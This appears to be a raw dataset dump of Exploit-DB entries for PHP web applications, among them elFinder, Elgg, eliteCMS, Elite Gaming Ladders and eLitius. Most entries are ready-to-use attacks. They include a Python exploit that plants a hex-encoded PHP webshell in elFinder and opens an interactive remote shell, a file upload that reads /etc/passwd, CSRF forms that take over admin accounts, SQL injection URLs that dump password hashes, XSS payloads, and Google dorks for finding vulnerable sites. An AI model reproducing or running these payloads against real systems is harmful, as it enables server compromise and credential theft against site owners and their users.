deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46481
Description: elFinder 2.1.47 - 'PHP connector' Command Injection
Type: webapps
Platform: php
Date: 2019-03-04
Author: q3rv0

Exploit:
#!/usr/bin/python

'''
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# Date: 26/02/2019
# Exploit Author: @q3rv0
# Vulnerability reported by: Thomas Chauchefoin
# Google Dork: intitle:"elFinder 2.1.x"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
# Version: <= 2.1.47
# Tested on: Linux 64bit + Python2.7
# PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
# CVE: CVE-2019-9194

# Usage: python exploit.py [URL]

'''

import requests

import json

import sys


payload = 'SecSignal.jpg;echo 3c3f[PII_REDACTED]797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'


def usage():

    if len(sys.argv) != 2:

        print "Usage: python exploit.py [URL]"

        sys.exit(0)


def upload(url, payload):

    files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}

    data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "[PII_REDACTED]"}

    r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)

    j = json.loads(r.text)

    return j['added'][0]['hash']


def imgRotate(url, hash):

    r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))

    return r.text


def shell(url):

    r = requests.get("%s/php/SecSignal.php" % url)

    if r.status_code == 200:

       print "[+] Pwned! :)"

       print "[+] Getting the shell..."

       while 1:

           try:

               input = raw_input("$ ")

               r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))

               print r.text

           except KeyboardInterrupt:

               sys.exit("\nBye kaker!")

    else:

        print "[*] The site seems not to be vulnerable :("


def main():

    usage()

    url = sys.argv[1]

    print "[*] Uploading the malicious image..."

    hash = upload(url, payload)

    print "[*] Running the payload..."

    imgRotate(url, hash)

    shell(url)


if __name__ == "__main__":

    main()
Exploit-DB #51864
Description: elFinder Web file manager Version - 2.1.53 Remote Command Execution
Type: webapps
Platform: php
Date: 2024-03-06
Author: tmrswrr

Exploit:
# Exploit Title: elFinder Web file manager Version: 2.1.53 Remote Command Execution
# Date: 23/11/2023
# Exploit Author: tmrswrr
# Google Dork: intitle:"elFinder 2.1.53"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/refs/tags/2.1.53.zip
# Version: 2.1.53
# Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS

1 ) Enter admin panel and go to this url > https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/admin/filemanager
2 ) Click Template Main and upload this test.php file :

<?php echo system('cat /etc/passwd'); ?>

3 ) https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/test.php

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin soft:x:1000:1000::/home/soft:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin emps:x:995:1001::/home/emps:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin vmail:x:5000:5000::/var/local/vmail:/bin/bash webuzo:x:992:991::/home/webuzo:/bin/bash apache:x:991:990::/home/apache:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
Exploit-DB #9355
Description: elgg 1.5 - '/_css/js.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-08-04
Author: eLwaux

Exploit:
Product: elgg.org
Version: <= 1.5
Dork: "Powered by Elgg, the leading open source social networking platform"

eLwaux(c)2009
UASC.org.UA

POC: /_css/js.php?js=../../../../tmp/session_dir%00&viewtype=xD

need: in table `datalists` must be record `simplecache_enabled` = 0
(default  `simplecache_enabled ` = 1)

Vulnerability Code:
-----------------------------------------------------------------------
/_css/js.php:
     33:     $viewinput['view'] = 'js/' . $_GET['js'];
     42:     require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php');
/simplecache/view.php:
     26:     $view = $viewinput['view'];
     30:     if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) {
     48:         if ($simplecache_enabled || $override) {
     49:             $filename = $dataroot . 'views_simplecache/' .  md5($viewtype . $view);
     51:             $contents = file_get_contents($filename);
     56:         } else {
     59:             $contents = elgg_view($view);
/lib/elgglib.php:
     237:    function elgg_view($view, ..
     317:        foreach($viewlist as $priority => $view) {
     321:                if (file_exists($view_location .  "{$viewtype}/{$view}.php") &&
                             !include($view_location .  "{$viewtype}/{$view}.php")) {
-----------------------------------------------------------------------

# milw0rm.com [2009-08-04]
Exploit-DB #17685
Description: Elgg 1.7.10 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-18
Author: Aung Khant

Exploit:
# Exploit Title: Elgg 1.7.10 <= Multiple Vulnerabilities
# Google Dork: intext:"Powered by Elgg, the leading open source social
networking platform"
# Date: 2011-08-18
# Author: Aung Khant <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://elgg.org/getelgg.php?forward=elgg-1.7.10.zip
# Version: 1.7.10 <=


1.  XSS

http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22



2. SQL Injection

http://localhost/pg/search/?q=SQLin&search_type=tags&tag_names=location'
Exploit-DB #37502
Description: Elite Bulletin Board - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-07-15
Author: ToXiC

Exploit:
source: https://www.securityfocus.com/bid/54452/info

Elite Bulletin Board is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Elite Bulletin Board 2.1.19 is vulnerable; other versions may also be affected 

http://www.example.com/ebbv2/groups.php?id=%5c&mode=view
http://www.example.com/ebbv2/rssfeed.php?bid=%5c
http://www.example.com/ebbv2/viewboard.php?bid=%5c
Exploit-DB #14318
Description: Elite CMS 1.01 - Multiple Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-10
Author: 10n1z3d

Exploit:
# Name: Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities
# Author: 10n1z3d <10n1z3d[at]w[dot]cn>
# Date: Sat 10 Jul 2010 08:05:44 PM EEST 
# Vendor: http://elitecms.net/
# Download: http://elitecms.net/download.php?download=eliteCMS

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body>
                <!--- Edit these --->
            <form action="http://[domain]/admin/edit_user.php?user=1" method="post">
                <input type="hidden" name="password" value="pwned" />
                <input type="hidden" name="email" value="pwn@pwned.com" />
                <input type="hidden" name="first_name" value="pwned" />
                <!--- Do not edit below --->
                <input type="hidden" name="s_admin" value="1" />
                <input type="hidden" name="active" value="1" />
                <!--- At least they check this --->
                <input type="submit" name="submit" value="Continue" />
            </form>
        </body>
    </html>

-=[ CSRF PoC 2 - Create Admin User ]=-

    <html>
        <head>
            <title>Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <body>
                <!--- Edit these --->
            <form action="http://[domain]/admin/new_user.php" method="post">
                <input type="hidden" name="user_name" value="root" />
                <input type="hidden" name="password" value="root" />
                <input type="hidden" name="email" value="root@root.com"/>
                <input type="hidden" name="first_name" value="root"/>
                <!--- Do not edit below --->
                <input type="hidden" name="s_admin" value="1" />
                <input type="hidden" name="active" value="1" />
                <!--- At least they check this --->
                <input type="submit" name="submit" value="Continue" />
            </form>
        </body>
    </html>

-=[ CSRF PoC 3 - Delete User ]=-

    <img src="http://[domain]/admin/delete_user.php?user=2" alt="Do you see this?" />

-=[ CSRF PoC 4 - Delete Page ]=-

    <img src="http://[domain]/admin/delete_page.php?page=1" alt="Do you see this?" />

-=[ CSRF PoC 5 - Delete Post ]=-

    <img src="http://[domain]/admin/delete_post.php?post=1" alt="Do you see this?" />

-=[ CSRF PoC 6 - Logout The Administrator ]=-

    <img src="http://[domain]/admin/logout.php" alt="Do you see this?" />

-=[ XSS ]=-

    http://[domain]/admin/edit_page.php?page=1[XSS]
    http://[domain]/admin/edit_post.php?page=1[XSS]
    http://[domain]/admin/add_post.php?page=1[XSS]

Also all of the text fields in the administration panel accept xss code.


Not so l33t huh?
Visit us at http://www.evilzone.org/.
Exploit-DB #26447
Description: Elite Forum 1.0 - HTML Injection
Type: webapps
Platform: php
Date: 2005-11-01
Author: gladiator

Exploit:
source: https://www.securityfocus.com/bid/15257/info

Elite Forum is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. 

<title>Elite Forum FULL HTML ENjocter-By St@rEXT</title>
<style>
body{background:url(http://img523.imageshack.us/img523/7704/turkeyflag0xuhz9zc7uf0.jpg);
color:#FFFFFF;
font-weight:bold;}
input{
background-color:darkred;
color:#FFFFFF;
font-weight:bold;
}
</style
<form method=POST action="http://site/path/index.php?act=ptopic&fid=1"
target=_blank>
<b><em><h2><b>Elite Forum FULL HTML ENjocter-By
St@rEXT</b></h2></em></b></font>
        <br>

        <b>Your HTML C0de : <br></b>
        <input  size="60" type="text"  name="title"
value='<script>location="http://yourindex.html"</script>'>

        <BR><BR><BR><b>Forum Messages:</b><BR>

        <input cols=2 rows=1 name='post'value='Bug On!!!'><BR><BR><br>
<input type=submit value="Send and Hacked">
        <BR><BR>


        <BR><BR><BR>
        </form>
Exploit-DB #10978
Description: Elite Gaming Ladders 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: Sora

Exploit:
# Exploit Title: Elite Gaming Ladders v3.0 SQL Injection Exploit
# Date: January 3rd, 2010
# Author: Sora
# Version: 3.0
# Tested on: Windows and Linux

----------------------------------------
> Elite Gaming Ladders v3.0 SQL Injection Exploit
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/
> Google Dork: "Fuck all script kiddies."

# Vulnerability Description:
Elite Gaming Ladders v3.0 suffers a remote SQL injection exploit (stats.php) in the "account" parameter.

# Solution:
Sanitize the database inputs or block the bad words. (UNION SELECT, UNION SELECT ALL, /*, --)

# Proof of Concept:
http://www.site.com/stats.php?account=627'
Exploit-DB #9702
Description: Elite Gaming Ladders 3.2 - 'platform' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-16
Author: snakespc

Exploit:
#--------------------------------------------------------
#Elite Gaming Ladders v3.2 Remote SQL Injection Vulnerability
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com       
#-------------------------------------------------------
#
#Script:Elite Gaming Ladders v3.2
#
#http://eliteladders.com
#--------------------------------------------------------
#Dork:"Powered by: Elite Gaming Ladders v3.2"
#Exploit:
#--------
#Demo:http://eliteladders.com/demo/ladders.php?platform=-30+UNION%20SELECT%201,2,3,@@version,5,6,7--
----------------------------------------------------------

# milw0rm.com [2009-09-16]
Exploit-DB #13936
Description: Elite Gaming Ladders 3.5 - 'ladder[id]' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-19
Author: ahwak2000

Exploit:
[-] Elite Gaming Ladders v3.5 SQL Injection Vulnerability [-]


---Date : 2010-06-19
---Author : ahwak2000
---Email : z.u5[at]hotmail.com
[-] Script Info [-]
---Home : http://eliteladders.com/

[-] Vulnerability [-]


http://site.com/[path]/standings.php?ladder[id]=[SQL INj]
Exploit-DB #17782
Description: Elite Gaming Ladders 3.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-05
Author: J.O

Exploit:
# Exploit Title: Elite Gaming Ladders  v3.6 SQL Injection Vulnerability
# Date: 05/09/2011
# Author: J.O
# Contact: exploit@m-h-a.org
# Website: http://www.m-h-a.org
# From : Morocco   
----------------------------------------
> Elite Gaming Ladders v3.6 SQL Injection Exploit
> Vendor: http://eliteladders.com/
> Download : ------------------
> Price : $174.95 
> Language : PHP
> Version: 3.6
> Category: webapps 
> Google Dork: " Don't Be Devil :( !!! "
----------------------------------------
# Vulnerability Description:

Elite Gaming Ladders v3.6 suffers a remote SQL injection exploit 
 
# Solution:

Sanitize the database inputs or block the bad words (UNION SELECT, UNION SELECT ALL, /*, --)
 
# Proof of Concept:

http://site.com/ladders.php?platform=( Injection )

----------------------------------------

Greetz To : Icedhell , Hakykaz .... & All Maghreb.Hacking.Association Members ( white Hats )
We Just L0v3 Security .
Exploit-DB #32316
Description: eliteCMS 1.0 - 'page' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-03
Author: e.wiZz!

Exploit:
source: https://www.securityfocus.com/bid/30990/info

eliteCMS is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers may exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eliteCMS 1.0 and 1.01 are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=-1%20union%20all%20select%201,2,3,4,user_name,h_password%20from%20users/*

http://www.example.com/index.php?page=-1'+union+select+1,concat(user_name,0x3a,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+0,1/*
Exploit-DB #34292
Description: eliteCMS 1.01 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-10
Author: 10n1z3d

Exploit:
source: https://www.securityfocus.com/bid/41537/info

eliteCMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

eliteCMS 1.01 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com/admin/edit_page.php?page=1[XSS]
http://www.example.com/admin/edit_post.php?page=1[XSS]
http://www.example.com/admin/add_post.php?page=1[XSS]
Exploit-DB #8838
Description: elitecms 1.01 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-01
Author: xeno_hive

Exploit:
# eliteCMS 1.01 (SQL/XSS) Multiple Remote Vulns
# by xeno_hive
# greets to daganarus, dearest of all my friends.

# SQL injection (requires magic_quotes = off)

->/includes/functions.php
---------------------------------
89. function get_page_settings() {
...
92. $query = "SELECT * FROM pages WHERE id = '{$_GET['page']}'";
93. $result = mysql_query($query);
94. confirm_query($result);
95. $page_settings = mysql_fetch_array($result); 
96. return $page_settings; }
...
294. echo $page_settings['title'];
---------------------------------

Exploit => index.php?page=-1'+union+select+1,concat(user_name,0x3a,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+0,1/*
then look at browser's title.


# XSS (passive)
(if contact form is enabled)

->/includes/contact_form.php
---------------------------------
36. $mailTo = $settings['site_email'];
37. $subject = "Feedback email from your eliteCMS website";
38. $name = $_POST['name'];
39. $sender_email = $_POST['sender_email'];
40. $message = $_POST['message'];
...
54. $sendmail =  @mail($mailTo, $subject, $body, $headers);
---------------------------------

So attacker can send mail with http tags.
---------------------------------
61. $successMSG = "<span class=\"successMsg\">Thank you dear <span>$name</span> your message has been send
      successfully.</span>";
---------------------------------

And he can insert tags into the page.

Exploit => POST-packet
---------------------------------
POST /index.php?page=3 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: localhost

name=<script>alert("Name")</script>
&sender_email=someone@evil.com
&message=<script>alert("Message")</script>
&email=Send Email
---------------------------------

# Admin's file upload script without extension checking
Upload your shell at /admin/manage_uploads.php. Then use it at /uploads/shell.php

# milw0rm.com [2009-06-01]
Exploit-DB #8459
Description: eLitius 1.0 - '/manage-admin.php' Arbitrary Add Admin/Change Password
Type: webapps
Platform: php
Date: 2009-04-16
Author: ThE g0bL!N

Exploit:
 <title> Powered by eLitius Version 1.0 Change Password </title>
  
<form action="http://esyndicat.org/admin/manage-admin.php" method="post" name="adminForm">
  <table class="admintable">
  <tbody><tr>
   <td>
    <table class="adminform" cellpadding="0" cellspacing="0">
    <tbody>
    <tr>
     <th colspan="2">Change Password Of admin </th>
    </tr>
    <tr>
     
     
    </tr>
    <tr>
     <td>Username:</td>
     <td>
      <input name="username" class="inputbox" size="40" value="admin" type="text" readonly="readonly" />
     </td>
    </tr><tr>
     <td>Password:</td>
     <td>
      <input class="inputbox" name="password" size="40" value="admin" type="text" />
     </td>
    </tr>
    <tr>
     <td>Email:</td>
     <td><input class="inputbox" name="email" size="40" value="x0q@hotmail.fr" type="text" /></td>
    </tr>
    <tr>
     <td colspan="2">&nbsp;
     </td>
    </tr>

    </tbody>
    </table>
    <input name="task" value="" type="hidden" />
    <div style="margin-top:10px;"><input class="button" onclick="document.adminForm.task.value='edit'" type="submit" value="Save"></div>    
   </td>
   <td style="vertical-align: top; margin: 0; padding: 0;">
    <table class="adminform" cellpadding="0" cellspacing="0">
    <tr>
     <th colspan="2">Dork: Powered by eLitius Version 1.0</th>
    </tr>
<th colspan="2">Greetz To: Dos-Dz TeaM Snakes TeaM His0k4 </th>
    <tr>
     <center><td style="font-weight: bold;">Cod[3]d By ThE g0bL!N</td> </center>
    </tr>
  </table>
  </td>
  </tr>
  </tbody>
  </table>
  <input name="cid[]" value="1" type="hidden" />
<td>Download:http://www.elitius.com/</td>
</form>
 
</body>
</html>

# milw0rm.com [2009-04-16]
Exploit-DB #8498
Description: eLitius 1.0 - Arbitrary Database Backup
Type: webapps
Platform: php
Date: 2009-04-20
Author: ThE g0bL!N

Exploit:
 <title>  Powered By eLitius 1.0 Remote Database Backup </title>
<form action="http://esyndicat.org/admin/database-backup.php" method="post" name="adminForm">
  <table class="admintable">
  <tbody><tr>
   <td style="width: 40%;">
    <table class="adminform">
    <tbody>
    <tr>
     <th colspan="2">Backup MySQL Database</th>
    </tr>
    <tr>
     <td style="text-align: center;"><strong>Choose Operation:</strong></td>
    </tr>
    <tr>
     <td style="text-align: center;">
      <select name="db_op">
       
       <option value="data">Backup data only</option>
       
      </select></td>
    </tr>
    <tr>
     <td colspan="2"  style="text-align: center; width: 50%;">
      
      <input name="savetype" value="client" id="db_client" checked="checked" type="radio"/><label for="db_client">Save to your PC</label>&nbsp;
      
     </td>
    </tr>
    <tr>
     <td style="padding: 10px 0; text-align: center;"><input type="submit" name="backup" value="Create Backup" /></td>
    <tr>
     <td colspan="2">&nbsp;
     </td>
    </tr>
    <tr>
     <td style="text-align: center;"></td>
    </tr>
    </tbody>
    </table>
   </td>
   <td valign="top" width="80%">
  <table class="adminform">
   <tbody>
<th colspan="2">Greets: Dos-Dz TeaM SnAkEs-TeaM H4ckF0rU TeaM  Team Sobh4n ALLAH</th>
    <tr>
</br>
    <th colspan="2">Dork: Powered By eLitius 1.0 </th></br></CENTER>
</br>
<center>Cod[3]d By ThE g0bL!N</center>
</br>
    </tr>
    <tr>

# milw0rm.com [2009-04-20]
Exploit-DB #10836
Description: Elkagroup - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-30
Author: Hussin X

Exploit:
elkagroup (pid ) Remote SQL Injection Vulnerability

||    Author: Hussin X

||   Home :  WwW.IQ-TY.CoM<http://WwW.IQ-TY.CoM>

||    email:  darkangel_g85[at]Yahoo[DoT]com


||| script : http://www.elkapax.com &  http://www.elkagroup.com

||| DorK   : "Powered by : elkagroup.com<http://elkagroup.com>"

POC
________

http://[server]/[path]/property.php?cid=12&uid=0&pid=-168+union+select+1,username,3,4,5,6,7,password,9,10,11,12,13,14,15,16,17+from+gallery_user--

end

IQ-SecuritY FoRuM